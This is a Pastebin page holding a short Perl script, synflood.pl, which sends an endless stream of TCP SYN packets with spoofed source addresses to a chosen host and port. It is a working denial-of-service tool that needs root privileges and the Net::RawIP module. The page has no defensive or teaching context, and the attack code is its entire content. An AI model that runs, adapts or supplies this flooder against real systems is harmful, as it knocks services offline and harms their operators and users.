Guest User

Untitled

a guest
Dec 7th, 2012
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.48 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # synflood.pl - Simple SYN Flooder
  3. # Author: iphelix
  4. #
  5. # Requires perl, Net::RawIP module, and root privileges
  6.  
  7. use Net::RawIP;
  8.  
  9. if($#ARGV == 2) {
  10. ($src,$dst,$port) = @ARGV;
  11. $a = new Net::RawIP;
  12. while(1) {
  13. $src_port = rand(65534)+1;
  14. $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
  15. $a->send;
  16. }
  17. } else {
  18. print "./synflooder source_ip destination_ip destination_port\n";
  19. }
Add Comment
Please, Sign In to add comment